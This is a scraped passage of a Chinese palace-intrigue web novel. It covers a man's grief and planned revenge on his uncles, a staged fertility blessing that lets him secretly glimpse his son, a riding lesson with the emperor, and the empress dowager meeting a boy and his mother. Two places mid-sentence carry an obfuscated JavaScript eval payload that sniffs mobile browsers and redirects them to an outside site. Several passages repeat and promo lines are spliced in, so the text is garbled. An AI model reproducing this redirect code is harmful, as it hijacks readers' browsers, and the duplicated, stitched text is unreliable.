“这段时间,我隐姓埋名,暗中追查,当年伏击我们、将我逼落悬崖的人——正是我二叔与三叔联手。他们觊觎我手中的权势与家产,早就对我动了杀心。当初阿娅若真的回了沈家,恐怕连腹中的孩子,都保不住。” 苗菁见惯了世家大族内部的倾轧残杀,对此并不意外,只沉声问: “那你今后,打算如何做?” 沈峥缓缓攥紧拳头,指节泛白,眸底翻涌着压抑不住的戾色: “阿娅不能白死,我也不能被人这般白白算计。我会在京城暂留一段时日,等把所有线索理清,便想办法重回沈家。本该是我的东西,我要一点一点拿回来;欠我的、害了我和阿娅的,我要一笔一笔,全部讨回来!” 苗菁看着他眼中死过一次后的狠绝,郑重点头: “你尽管去做。但凡需要我帮忙的地方,尽管开口,不必客气。” 沈峥也不矫情,当即将几件需要暗中查证的事情一一说出。 苗菁听得仔细,件件都一口应下,没有半分推脱。 待到诸事交代完毕,沈峥深深吸了一口气,抬眼看向苗菁,声音带着一丝颤抖: “大人……末生还有一个不情之请……能不能……让我见见那孩子?” 苗菁微微一怔,随即温和点头: “这有何不可。那孩子的养母,与内子素来交好。明日我便让晓芸下帖,请她带着孩子来府中做客,你悄悄见一见便是。” 沈峥猛地躬身,深深一揖,声音哽咽: “多谢大人……大恩不言谢。” 拍他的肩膀,声音压得极低,却字字如刀: “显扬,你……节哀。阿娅她,已经不在了。” 前一秒还满眼光亮的沈峥,脸色骤然惨白。 大喜骤然大悲,本就久病体虚、一路奔波的他,眼前一黑,身子猛地一晃,摇摇欲坠,险些当场栽倒在地。 “阿娅……” 苗菁连忙伸手扶住他,稳住他的身形,低声急劝:“显扬,稳住!你身子本就虚,不能再垮了。你和阿娅的仇还在,真相还没查明,你要保重啊。” 他顿了顿,见沈峥已是痛不欲生,轻声补上一句: “而且……阿娅临走之前,为你生下了一个孩子。” 沈峥双目赤红,泪水汹涌而出,顺着消瘦的脸颊不断滚落。 即便听到“孩子”二字,他也没能回过神,只是嘴唇剧烈哆嗦着,一遍又一遍,失神地呢喃: “阿娅……阿娅……是我对不住你……” 苗菁也曾亲历生离死别,深知这种剜心之痛,多说无益。 他不再开口,只是静静陪着,任由沈峥将这几年的压抑、恐惧、思念与悔恨,尽数哭出来。 不知过了多久,窗外明亮的天光渐渐暗淡,暮色漫进书房。 沈峥才从那昏沉的剧痛中稍稍清醒,他吸了吸鼻子,哑得几乎听不清字音: “大人……孩子……孩子还好吗?” “孩子很好,很康健。”苗菁声音放轻,“当初阿娅以为你早已不在人世,她不愿孩子一出生就回沈家,更不想孩子一落地便背负上父母的血海深仇。她求我,给孩子寻一户普通安稳人家收养,只求他平安长大,无灾无难。” “孩子如今养在京城一户良善人家,养母对他疼爱有加,吃得好、穿得暖,长得白白胖胖,你尽可放心。” 沈峥闭上眼,一行浊泪再次滑落,声音嘶哑却带着几分释然: “那就好……阿娅想得对,孩子绝不能回沈家。” 他缓缓睁开眼,眸中已多了几分刺骨的冷意: “这段时间,我隐姓埋名,暗中追查,当年伏击我们、将我逼落悬崖的人——正是我二叔与三叔联手。他们觊觎我手中的权势与家产,早就对我动了杀心。当初阿娅若真的回了沈家,恐怕连腹中的孩子,都保不住。” 苗菁见惯了世家大族内部的倾轧残杀,对此并不意外,只沉声问: “那你今后,打算如何做?” 沈峥缓缓攥紧拳头,指节泛白,眸底翻涌着压抑不住的戾色: “阿娅不能白死,我也不能被人这般白白算计。我会在京城暂留一段时日,等把所有线索理清,便想办法重回沈家。本该是我的东西,我要一点一点拿回来;欠我的、害了我和阿娅的,我要一笔一笔,全部讨回来!” 苗菁看着他眼中死过一次后的狠绝,郑重点头: “你尽管去做。但凡需要我帮忙的地方,尽管开口,不必客气。” 沈峥也不矫情,当即将几件需要暗中查证的事情一一说出。 苗菁听得仔细,件件都一口应下,没有半分推脱。 待到诸事交代完毕,沈峥深深吸了一口气,抬眼看向苗菁,声音带着一丝颤抖: “大人……末生还有一个不情之请……能不能……让我见见那孩子?” 苗菁微微一怔,随即温和点头: “这有何不可。那孩子的养母,与内子素来交好。明日我便让晓芸下帖,请她带着孩子来府中做客,你悄悄见一见便是。” 沈峥猛地躬身,深深一揖,声音哽咽: “多谢大人……大恩不言谢。” 拍他的肩膀,声音压得极低,却字字如刀: “显扬,你……节哀。阿娅她,已经不在了。” 前一秒还满眼光亮的沈峥,脸色骤然惨白。 大喜骤然大悲,本就久病体虚、一路奔波的他,眼前一黑,身子猛地一晃,摇摇欲坠,险些当场栽倒在地。 “阿娅……” 苗菁连忙伸手扶住他,稳住他的身形,低声急劝:“显扬,稳住!你身子本就虚,不能再垮了。你和阿娅的仇还在,真相还没查明,你要保重啊。” 他顿了顿,见沈峥已是痛不欲生,轻声补上一句: “而且……阿娅临走之前,为你生下了一个孩子。” 沈峥双目赤红,泪水汹涌而出,顺着消瘦的脸颊不断滚落。 即便听到“孩子”二字,他也没能回过神,只是嘴唇剧烈哆嗦着,一遍又一遍,失神地呢喃: “阿娅……阿娅……是我对不住你……” 苗菁也曾亲历生离死别,深知这种剜心之痛,多说无益。 他不再开口,只是静静陪着,任由沈峥将这几年的压抑、恐惧、思念与悔恨,尽数哭出来。 不知过了多久,窗外明亮的天光渐渐暗淡,暮色漫进书房。 沈峥才从那昏沉的剧痛中稍稍清醒,他吸了吸鼻子,哑得几乎听不清字音: “大人……孩子……孩子还好吗?” “孩子很好,很康健。”苗菁声音放轻,“当初阿娅以为你早已不在人世,她不愿孩子一出生就回沈家,更不想孩子一落地便背负上父母的血海深仇。她求我,给孩子寻一户普通安稳人家收养,只求他平安长大,无灾无难。” “孩子如今养在京城一户良善人家,养母对他疼爱有加,吃得好、穿得暖,长得白白胖胖,你尽可放心。” 沈峥闭上眼,一行浊泪再次滑落,声音嘶哑却带着几分释然: “那就好……阿娅想得对,孩子绝不能回沈家。” 他缓缓睁开眼,眸中已多了几分刺骨的冷意: “这段时间,我隐姓埋名,暗中追查,当年伏击我们、将我逼落悬崖的人——正是我二叔与三叔联手。他们觊觎我手中的权势与家产,早就对我动了杀心。当初阿娅若真的回了沈家,恐怕连腹中的孩子,都保不住。” 苗菁见惯了世家大族内部的倾轧残杀,对此并不意外,只沉声问: “那你今后,打算如何做?” 沈峥缓缓攥紧拳头,指节泛白,眸底翻涌着压抑不住的戾色: “阿娅不能白死,我也不能被人这般白白算计。我会在京城暂留一段时日,等把所有线索理清,便想办法重回沈家。本该是我的东西,我要一点一点拿回来;欠我的、害了我和阿娅的,我要一笔一笔,全部讨回来!” 苗菁看着他眼中死过一次后的狠绝,郑重点头: “你尽管去做。但凡需要我帮忙的地方,尽管开口,不必客气。” 沈峥也不矫情,当即将几件需要暗中查证的事情一一说出。 苗菁听得仔细,件件都一口应下,没有半分推脱。 待到诸事交代完毕,沈峥深深吸了一口气,抬眼看向苗菁,声音带着一丝颤抖: “大人……末生还有一个不情之请……能不能……让我见见那孩子?” 苗菁微微一怔,随即温和点头: “这有何不可。那孩子的养母,与内子素来交好。明日我便让晓芸下帖,请她带着孩子来府中做客,你悄悄见一见便是。” 沈峥猛地躬身,深深一揖,声音哽咽: “多谢大人……大恩不言谢。” 第331章 姐妹 当日傍晚,苗菁安顿好沈峥在偏厢歇息,叫来一个婆子,吩咐了几句说辞,便让她往薛家去了。 婆子到了薛府,见到薛嘉言后,恭恭敬敬地躬身回话:“夫人,我家大人和奶你托我来求您一件事——二位成婚不久,一心求子,明日请了道媪来祈福,听闻请有福气的孩童去府中说几句吉祥话,求子会更灵验。故而特来恳请您,明日带着棠姐儿和宁哥儿,去府中一趟,帮二位说几句吉祥话。 薛嘉言听完,忍不住笑出了声,转头对身边的拾英笑道:“你瞧瞧这两人,也太心急了些。才成婚多久,竟就急着求子了。 拾英也跟着笑,“苗大人和郭奶奶也都二十多了,这个年纪求子,也是人之常情。 薛嘉言笑着点了点头,应下了明日去苗家的事情。 另一边,苗家新房内,烛火摇曳,暖意融融。 郭晓芸听完苗菁说的请薛嘉言前来的借口,脸颊瞬间染上一层绯红,伸手轻轻捶了他一下,语气里带着几分娇羞,埋怨道:“你!竟编出这么个借口,也太不好意思了,传出去人家该笑话我们了。 苗菁顺势抓住她的手,将人揽进怀里,低头在她额头上亲了一口,声音低哑:“娘子说的是,这不过是个借口罢了。我还不想那么快有孩子,耽误事…… 话音未落,他便俯身,将郭晓芸推倒在床上,眼底满是宠溺与暧昧。屋内渐渐响起两人低低的呢喃与温柔或急促的喘息。 不知过了多久,郭晓芸浑身酸软,瘫在苗菁怀里,掌心贴着着他结实的胸肌,感受他狂乱的心跳。 休息了片刻,郭晓芸抬起头,眼底带着几分担忧,轻声问道:“夫君,关于沈大人和宁哥儿的事,我们不跟薛妹妹说实话吗?我总觉得,瞒着她不太好。 苗菁低头,轻轻揉了揉她的头发,沉声道:“沈峥要谋划的是夺回沈家的家产、报他和阿娅的仇,这绝非一朝一夕的事,怎么也要三五年。这么早告诉她,不过是徒增她的烦恼罢了。再说,你仔细想想,便是往后沈峥真的拿回了沈家的权和钱,他能跟你薛妹妹争宁哥儿吗?他又争得过吗? 薛嘉言背后站着的是陛下,沈峥即便夺回了沈家,也绝不敢、更不可能与薛嘉言争夺宁哥儿的抚养权。 想到这里,郭晓芸心中的担忧瞬间消散,轻轻点了点头,松了一口气:“你说得对,是我杞人忧天了。 苗菁哑着嗓子调侃:“摸够了吗?我的娘子,再摸下去,为夫可就忍不住了。 郭晓芸这才回过神来,低头 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 看着自己不老实的手,脸颊又红了起来,连忙埋进苗菁的颈窝里,呢喃着:“摸起来很舒服……” 苗菁低低笑出声,手掌也开始不老实起来,语气暧昧:“嗯,说得没错,摸起来确实很舒服……” 屋内再次响起温柔的笑声与细碎的呢喃,一夜温情。 第二日,阳光正好,薛嘉言带着棠姐儿和宁哥儿,提着备好的礼物,准时来到了苗家。 一见到新婚后的郭晓芸,薛嘉言便眼前一亮——只见郭晓芸身着一身淡粉色锦裙,眉眼间带着新婚的娇羞与温婉,粉面含春,肌肤莹润,比从前更添了几分动人的气色,真是人比花娇。 一旁的棠姐儿也忍不住拉了拉薛嘉言的衣角,仰着小脸赞道:“娘亲,郭姨真好看,比从前还要好看!” 郭晓芸本就最喜欢棠姐儿的乖巧模样,闻言更是心花怒放,连忙走上前,弯腰将棠姐儿抱进怀里,在她软乎乎的小脸上亲了一口,笑着道:“我们棠姐儿才好看呢,像个小仙女儿。” 说着,便从身后的丫鬟手里拿过一个包袱,打开一看,里面是一双绣着缠枝莲、嵌着珍珠的小鞋子,“这是姨姨亲手给你做的,快来试试合不合脚。” 薛嘉言站在一旁,看着这温馨的一幕,眼底满是笑意。 她心中清楚,按照京中的规矩,新媳妇成婚之后,是要给婆家人做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324972|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞋的。可郭晓芸与苗菁都是孤儿,没有什么亲人需要做鞋,除了棠姐儿,她定然也给自家人全做了,这是把她当作亲姐妹看待了。 果然,等棠姐儿欢欢喜喜地试穿完鞋子,蹦蹦跳跳地展示给众人看时,郭晓芸又转身拿过来一个绣着素雅花纹的包袱,打开后,里面整整齐齐放着三双鞋。“这双是给薛妹妹你的,这双是给吕伯母的,还有这双,是给宁哥儿的。” 郭晓芸一边说,一边拿起给宁哥儿的小鞋子,蹲下身,小心翼翼地帮他穿上,又轻轻摸了摸他的小脸蛋,满眼慈爱地夸道:“我们宁哥儿长得真快,越来越俊秀了。” 接着,她拿起给薛嘉言和吕氏的鞋子,递到薛嘉言手里,眼眶微微泛红,声音带着几分哽咽,却满是真诚:“薛妹妹,你知道的,我从小就没了亲人,这几年相处下来,我早就把你当作亲姐妹。这几双鞋,是我的一点心意,你可千万别嫌弃。” 薛嘉言接过鞋子,指尖触到鞋面细腻的针脚,心中一阵感动,连忙上前抱住郭晓芸,柔声道:“傻子,我怎么会嫌弃呢?我高兴还来不及。往后都会好的,你和苗大人好好的,很快就会有自己的孩子,会组成一个幸福圆满的一家子,再也不会孤单了。” 说罢,她故意眨了眨眼,打趣道:“你瞧,今日我特意带了棠姐儿和宁哥儿过来,可不是来给你们求子的嘛,有这两个有福气的孩子帮忙,你们定然能早日得偿所愿。” 郭晓芸被她说得脸颊通红,这时苗菁带着一位穿着道袍、手持拂尘的道媪走了进来。 那道媪神态肃穆,一副煞有介事的模样,一进门便对着屋内的床铺念念有词,手中的拂尘轻轻挥舞,又从袖中取出一张符,小心翼翼地贴在床框上,嘴里还不停念叨着祈福的话语。 做完这一切,苗菁走上前,温柔地摸了摸宁哥儿的小脑袋,又揉了揉棠姐儿的头发,轻声叮嘱:“棠姐儿,宁哥儿,等会儿阿婆念什么,你们就跟着念什么,好不好?这样就能帮郭姨和我求到小宝宝啦。” 第332章 我就是小气 两个孩子乖巧地点了点头,棠姐儿还脆生生地应道:“好!我们一定好好念,帮郭姨求个小弟弟! 道婆闻言,点了点头,清了清嗓子,缓缓念起了求子咒语:“天送麟儿降吉祥,地赐福娃保安康,夫妻同心祈子嗣,子孙满堂乐无疆,愿得佳儿承膝下,福禄寿喜皆绵长。 棠姐儿和宁哥儿认认真真地跟着念了起来,声音奶声奶气,却一板一眼,格外认真。屋内的人看着两个孩子乖巧的模样,都忍不住笑了起来,气氛温馨又热闹。 而隔着一道墙壁,偏厢的门后,沈峥正微微俯身,透过门缝,静静地看着屋内那个小小的身影。 宁哥儿穿着郭晓芸刚给换上的新鞋子,小小的身子站得笔直,跟着道婆念咒语,眉眼间既有阿娅的温婉,又有他的英气,钟灵毓秀,模样十分讨喜。 看着看着,沈峥的眼眶渐渐湿润了,泪水在眼眶里打转,却强忍着没有掉下来。 这是他和阿娅的孩子,是阿娅用性命换来的希望。如今看到孩子被照顾得这么好,长得这么健康可爱,他心中的愧疚与思念,渐渐被欣慰所取代。 屋内,道婆念完咒语,又说了几句吉祥话,便躬身告退了。 郭晓芸连忙吩咐丫鬟端来刚蒸好的点心,摆放在桌上。薛嘉言拿起一块软糯的米糕,轻轻掰成小块,小心翼翼地喂给宁哥儿吃;棠姐儿一手拿着米糕,大口大口地吃着,另一只手还不忘捏着帕子,看到宁哥儿唇角沾有点心渣子,便连忙凑过去,轻轻帮他揩掉,动作亲昵又温柔。 沈峥隔着门缝,将这一幕看得清清楚楚。 他看到薛嘉言对宁哥儿的疼爱,看到棠姐儿与宁哥儿的和睦,看到郭晓芸眼底的慈爱,心中的最后一丝顾虑也彻底放下了。 又停留了片刻,薛嘉言看着两个孩子玩得有些乏了,便起身告辞。 薛嘉言带着孩子走后没多久,沈峥便从偏厢走了出来,找到了苗菁。 他神色平静,眼底却多了几分坚定与释然,对着苗菁躬身一揖:“大人,多谢您今日让我见到孩子。孩子被照顾得这么好,我也没什么可担心的了。从今往后,我要专心去做我该做的事,为我自己、为阿娅,也为孩子,把属于我们的家业,一点一点抢回来。 苗菁看着他眼中的决绝,点了点头,郑重道:“好,注意安全。 沈峥再次谢过苗菁,转身离开了苗家,背影挺拔而坚定,朝着属于他的复仇与救赎之路走去。 这日,又到了薛嘉言赴约见阿满的日子。天刚亮,宫里便 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 派了内侍提前送来消息,传姜玄的话,让她今日把苏辞送的那匹新小马一同带上。 马车一路平稳,不多时便到了枫林苑。刚进院门,就见阿满穿着一身鹅黄色小锦袍,迈着小短腿朝她奔来,奶声奶气地喊着“娘”,一头扑进她怀里。薛嘉言连忙弯腰将孩子搂紧,亲了亲他软乎乎的脸颊,陪他在庭院里玩了会儿,看着他笑得眉眼弯弯,才放心地将他交给甄太妃和母亲吕氏。 两位长辈围着阿满、棠姐儿和宁哥儿,拉着孩子的小手问长问短,庭院里满是孩童的欢声笑语,薛嘉言这才转身,朝着等候在一旁的姜玄走去。 姜玄身着一身酱紫色常服,褪去了龙袍的威严,多了几分温润,见她走来,眼底瞬间漾开笑意,伸手自然地牵住她的手,语气带着几分戏谑:“走,教你骑马去。这几日我总时不时打喷嚏,想来,是有人天天在背地里念叨我,催着我教她骑马吧?” 薛嘉言仰头瞪他一眼,语气带着几分娇嗔,却又难掩得意:“对啊,就是我念叨的!谁让你总拖着不肯教,我都等好些日子了,再拖下去,我可要找苏大哥教我了。” 姜玄低笑出声,握紧她的手,牵着她往庄子后头的马场走去。 刚到停放马匹的地方,姜玄的目光便落在了那匹枣红小马身上,眼底闪过一丝赞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324973|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许,由衷赞道:“苏辞这小子,倒是挺会办事,这马挑得极好——**色油亮,身量适中,性子看着也温顺,最适合你这样的新手。” 薛嘉言顺着他的目光看向小马,故意逗他:“我收了苏大哥的马,你不生气?” 姜玄笑道:“我还没那么小气,一匹马而已,哪里就值得生气了。倒是有些人,上次气得夜里睡不着,哭得可伤心了……” 薛嘉言脸颊一红,伸手轻轻捶了一下他的胸膛,嗔怪道:“不许再提了!我就是小气,怎么了?” 姜玄哈哈大笑,果然识趣地闭了嘴,不再逗她。 他扶着薛嘉言的腰,小心翼翼地将她扶上马背,又细心地帮她调整好坐姿,叮嘱道:“别怕,这马性子温顺,不会乱**闹。今日咱们不学别的复杂动作,就只练坐稳,我牵着缰绳,慢慢带你走,保准不会让你摔着。” 薛嘉言点点头,双手紧紧抓着马鞍,大气都不敢喘一口,浑身僵硬得像块木板,连肩膀都绷得紧紧的,生怕自己一个不小心,就惊吓到马儿,摔下去。 姜玄轻轻拍了拍马颈,牵着缰绳,缓缓沿着马场旁的小路往前走,步伐放缓,尽量让马儿走得平稳些。 马儿慢悠悠地走着,步伐平稳而有节奏,薛嘉言紧绷的心弦,渐渐放松了些。 她试着按照姜玄说的,轻轻放松肩膀,让身体跟着马儿的节奏轻轻晃动,果然,原本僵硬的身体舒缓了不少,坐着也没那么累了。 两人就这么晃晃悠悠地走了三四里路,薛嘉言转头看向身旁牵着缰绳的姜玄,见他额角沁出了细密的薄汗,心中有些于心不忍,轻声问道:“你累不累?牵着马走了这么久,要不咱们先停下来,今日就学到这里吧?” 姜玄抬眸看向她,眼底笑意温柔,摇了摇头:“倒是不累,你现在感觉怎么样?还怕吗?” 薛嘉言笑了笑,眼底满是欢喜:“不怕了,原来骑马也没我想象的那么难,慢慢适应了,还觉得挺有意思的。” 第333章 我为你撑腰 见薛嘉言渐渐找到感觉,姜玄也跟着高兴,语气带着几分期许:“这就对了。等你慢慢学会了,明年春天,咱们就一起去围场狩猎。往后天气好的时候,你也可以像晖善那样,出门去哪里都骑着马,比坐马车畅快多了,也自在。到时候,我再送你一匹千里骏马,比这匹还要神骏。” 薛嘉言闻言,眼底闪过一丝向往,却又带着几分犹疑,轻声问道:“我学长公主那样,光明正大地纵马出行,真的能行吗?旁人会不会说闲话?” 前世,她曾远远见过长公主纵马游街,身姿飒爽,那般自在畅快,她心中一直暗暗羡慕,却从未敢想,自己也能那样。 姜玄语气坚定而温柔:“有什么不可以?有我在,你什么都不用怕。我说行,就一定行。谁敢多嘴嚼舌根,自然有我为你撑腰。” 薛嘉言嘴角忍不住扬起笑意。 姜玄看着她眉眼间的欢喜,挑眉笑道:“骑马是个循序渐进的过程,急不得,今日就先练到这里,咱们回枫林苑去,还有事没做呢。” 薛嘉言好奇地看向他:“还有什么事?” 姜玄眼底闪过一丝暧昧,身形一跃,轻轻翻身上马,坐在她身后,长臂一伸,稳稳地从背后拥住她,下巴抵在她的颈窝,指尖轻轻捏了捏她腰间的软肉,哑着嗓子道:“你说呢……” 薛嘉言瞬间明白了他的意图,低声呢喃:“时辰不早了,怕是来不及……” “来得及……” 姜玄低笑出声,收紧手臂,轻轻夹了夹马腹,马儿慢悠悠地调转方向,朝着枫林苑的方向走去。 与此同时,西山脚下,漱玉山房内静得只剩风吹枝桠的呼声。 太后身着一身素色暗纹常服,端坐在临窗的梨花木椅上,神色沉静,目光落在阶下跪着的小男孩身上。 那小男孩约莫四五岁模样,穿着一身洗得干净平整的衣裳,虽无锦缎加持,却难掩周身的规整气度。头发梳得一丝不苟,小小的身子跪在地上,腰背挺直,双手交叠放在膝前,跪地行礼的姿势标准规范,不见半分局促,看得出来,平日里教养得极好。 沉默片刻,太后才缓缓开口:“起来吧,坐着回话。” 沁芳连忙取来一张梨花木凳,放在小男孩身侧,示意他坐下。 小男孩依言起身,不慌不忙地坐下,双手放在膝上,依旧腰背挺直,抬眸看向太后时,眼神清澈却不怯懦,分寸拿捏得恰到好处。 “你叫什么名字?”太后端起手边的茶盏,轻轻抿了一口,目光淡淡扫过他的眉眼,轻 声问道。 小男孩微微抬眸,声音清脆却沉稳,没有半分孩童的嬉闹,规规矩矩地回禀:“禀娘娘,我叫姜……孙颂。” 话音顿了顿,那声“姜”字说得极轻,几乎被风淹没,最后还是换成了“孙颂”。 太后闻言,眉头微微一蹙。姜昀获罪身亡,这孩子碍于身份,不敢姓姜,也情有可原。 太后轻轻“嗯”了一声,放下茶盏,目光细细打量着眼前的孩子。 只见他眉眼清俊,鼻梁挺直,眉宇间竟有几分像当年的康王姜昀,只是姜昀平日里总是故作不羁、放浪形骸,而这孩子,却透着一股与年龄不符的沉静,眼神里藏着不属于孩童的懂事与隐忍。 “识字了吗?”太后收回目光,语气缓和了几分,问道。 孙颂微微点头,声音依旧沉稳:“回娘娘,母亲平日里教了些基础的字,近来又请了一位先生,开始教授《诗经》。” 太后闻言,缓缓点了点头,语气里带着几分赞许:“你这个年纪,正是启蒙的好时候,好好读书,莫要荒废了时日。” 太后一生忙于宫斗与朝政,从未养过孩子,一时竟不知该与这么大的孩子聊些什么。 姜昀死的时候,这孩子还小,想来对自己的父亲,也没什么印象。 思忖片刻,太后吩咐沁芳:“去端些茶水点心来,给孩子尝尝。” 沁芳连忙应声退下,不多时便端来一碟精致的桂花糕、一碟杏仁酥,一碟子如意金糕,一碟子糖蒸酥酪,还有一杯温热的蜜水,轻轻放在孙颂w面前的小几上。 孙颂顺从地拿起一块桂花糕,动作斯文有礼,小口小口地吃着,吃完后还不忘用帕子轻轻擦了擦嘴角,规矩周到。 太后看着他这副模样,忍不住朝着身旁的沁芳轻轻点了点头,眼底带着几分认可——这孩子,确实教养得极好。 沁芳凑到太后面前,压低声音道:“娘娘,您也该见见孩子的母亲。毕竟是孩子的生母,往后孩子留在漱玉山房,也需得她照料。” 太后原本是没打算见孙氏的。在她看来,孙氏不过是姜昀府中一个侍女出身,姜昀临死前也未曾给她抬任何名分,想来也不是什么要紧人物,见与不见,都无关紧要。 可沁芳这么说,倒也有道理,孩子尚小,离不开生母照料,再者,她也想瞧瞧,能教出这般懂事孩子的妇人,究竟是什么模样。 沉默片刻,太后淡淡开口:“叫进来见见吧。” 沁芳连忙应声,快步走出殿外。不多时,便领着一位二十岁左右的年轻妇人走了进来。那妇人穿着一身素雅的青布衣裙,未施粉黛,头发简单挽成一个发髻,只插了一根素银簪子,却身姿挺拔,气质娴静。 她一进门,便对着太后盈盈屈膝行礼,声音温婉却不卑不亢:“妾身孙氏,给娘娘请安,娘娘千岁千岁千千岁。” 太后抬眸看向她,目光落在她的脸上,竟有一瞬间的怔神。 孙氏长得并不算惊艳,却有着一种独特的气度——娴静端庄,又带着几分淡淡的疏离,那份清冷与端庄,竟与她年轻时,有几分相似。 太后想起自己刚入宫时,年纪尚小,身居高位,难免底气不足,便故作威严,尤其是面对着那些与自己年纪相仿的皇子们时,更是刻意摆出冷淡、端庄的模样态。 她与姜昀初始时,姜昀对她的印象便是如此。 声问道。 小男孩微微抬眸,声音清脆却沉稳,没有半分孩童的嬉闹,规规矩矩地回禀:“禀娘娘,我叫姜……孙颂。” 话音顿了顿,那声“姜”字说得极轻,几乎被风淹没,最后还是换成了“孙颂”。 太后闻言,眉头微微一蹙。姜昀获罪身亡,这孩子碍于身份,不敢姓姜,也情有可原。 太后轻轻“嗯”了一声,放下茶盏,目光细细打量着眼前的孩子。 只见他眉眼清俊,鼻梁挺直,眉宇间竟有几分像当年的康王姜昀,只是姜昀平日里总是故作不羁、放浪形骸,而这孩子,却透着一股与年龄不符的沉静,眼神里藏着不属于孩童的懂事与隐忍。 “识字了吗?”太后收回目光,语气缓和了几分,问道。 孙颂微微点头,声音依旧沉稳:“回娘娘,母亲平日里教了些基础的字,近来又请了一位先生,开始教授《诗经》。” 太后闻言,缓缓点了点头,语气里带着几分赞许:“你这个年纪,正是启蒙的好时候,好好读书,莫要荒废了时日。” 太后一生忙于宫斗与朝政,从未养过孩子,一时竟不知该与这么大的孩子聊些什么。 姜昀死的时候,这孩子还小,想来对自己的父亲,也没什么印象。 思忖片刻,太后吩咐沁芳:“去端些茶水点心来,给孩子尝尝。” 沁芳连忙应声退下,不多时便端来一碟精致的桂花糕、一碟杏仁酥,一碟子如意金糕,一碟子糖蒸酥酪,还有一杯温热的蜜水,轻轻放在孙颂w面前的小几上。 孙颂顺从地拿起一块桂花糕,动作斯文有礼,小口小口地吃着,吃完后还不忘用帕子轻轻擦了擦嘴角,规矩周到。 太后看着他这副模样,忍不住朝着身旁的沁芳轻轻点了点头,眼底带着几分认可——这孩子,确实教养得极好。 沁芳凑到太后面前,压低声音道:“娘娘,您也该见见孩子的母亲。毕竟是孩子的生母,往后孩子留在漱玉山房,也需得她照料。” 太后原本是没打算见孙氏的。在她看来,孙氏不过是姜昀府中一个侍女出身,姜昀临死前也未曾给她抬任何名分,想来也不是什么要紧人物,见与不见,都无关紧要。 可沁芳这么说,倒也有道理,孩子尚小,离不开生母照料,再者,她也想瞧瞧,能教出这般懂事孩子的妇人,究竟是什么模样。 沉默片刻,太后淡淡开口:“叫进来见见吧。” 沁芳连忙应声,快步走出殿外。不多时,便领着一位二十岁左右的年轻妇人走了进来。那妇人穿着一身素雅的青布衣裙,未施粉黛,头发简单挽成一个发髻,只插了一根素银簪子,却身姿挺拔,气质娴静。 她一进门,便对着太后盈盈屈膝行礼,声音温婉却不卑不亢:“妾身孙氏,给娘娘请安,娘娘千岁千岁千千岁。” 太后抬眸看向她,目光落在她的脸上,竟有一瞬间的怔神。 孙氏长得并不算惊艳,却有着一种独特的气度——娴静端庄,又带着几分淡淡的疏离,那份清冷与端庄,竟与她年轻时,有几分相似。 太后想起自己刚入宫时,年纪尚小,身居高位,难免底气不足,便故作威严,尤其是面对着那些与自己年纪相仿的皇子们时,更是刻意摆出冷淡、端庄的模样态。 她与姜昀初始时,姜昀对她的印象便是如此。 声问道。 小男孩微微抬眸,声音清脆却沉稳,没有半分孩童的嬉闹,规规矩矩地回禀:“禀娘娘,我叫姜……孙颂。” 话音顿了顿,那声“姜”字说得极轻,几乎被风淹没,最后还是换成了“孙颂”。 太后闻言,眉头微微一蹙。姜昀获罪身亡,这孩子碍于身份,不敢姓姜,也情有可原。 太后轻轻“嗯”了一声,放下茶盏,目光细细打量着眼前的孩子。 只见他眉眼清俊,鼻梁挺直,眉宇间竟有几分像当年的康王姜昀,只是姜昀平日里总是故作不羁、放浪形骸,而这孩子,却透着一股与年龄不符的沉静,眼神里藏着不属于孩童的懂事与隐忍。 “识字了吗?”太后收回目光,语气缓和了几分,问道。 孙颂微微点头,声音依旧沉稳:“回娘娘,母亲平日里教了些基础的字,近来又请了一位先生,开始教授《诗经》。” 太后闻言,缓缓点了点头,语气里带着几分赞许:“你这个年纪,正是启蒙的好时候,好好读书,莫要荒废了时日。” 太后一生忙于宫斗与朝政,从未养过孩子,一时竟不知该与这么大的孩子聊些什么。 姜昀死的时候,这孩子还小,想来对自己的父亲,也没什么印象。 思忖片刻,太后吩咐沁芳:“去端些茶水点心来,给孩子尝尝。” 沁芳连忙应声退下,不多时便端来一碟精致的桂花糕、一碟杏仁酥,一碟子如意金糕,一碟子糖蒸酥酪,还有一杯温热的蜜水,轻轻放在孙颂w面前的小几上。 孙颂顺从地拿起一块桂花糕,动作斯文有礼,小口小口地吃着,吃完后还不忘用帕子轻轻擦了擦嘴角,规矩周到。 太后看着他这副模样,忍不住朝着身旁的沁芳轻轻点了点头,眼底带着几分认可——这孩子,确实教养得极好。 沁芳凑到太后面前,压低声音道:“娘娘,您也该见见孩子的母亲。毕竟是孩子的生母,往后孩子留在漱玉山房,也需得她照料。” 太后原本是没打算见孙氏的。在她看来,孙氏不过是姜昀府中一个侍女出身,姜昀临死前也未曾给她抬任何名分,想来也不是什么要紧人物,见与不见,都无关紧要。 可沁芳这么说,倒也有道理,孩子尚小,离不开生母照料,再者,她也想瞧瞧,能教出这般懂事孩子的妇人,究竟是什么模样。 沉默片刻,太后淡淡开口:“叫进来见见吧。” 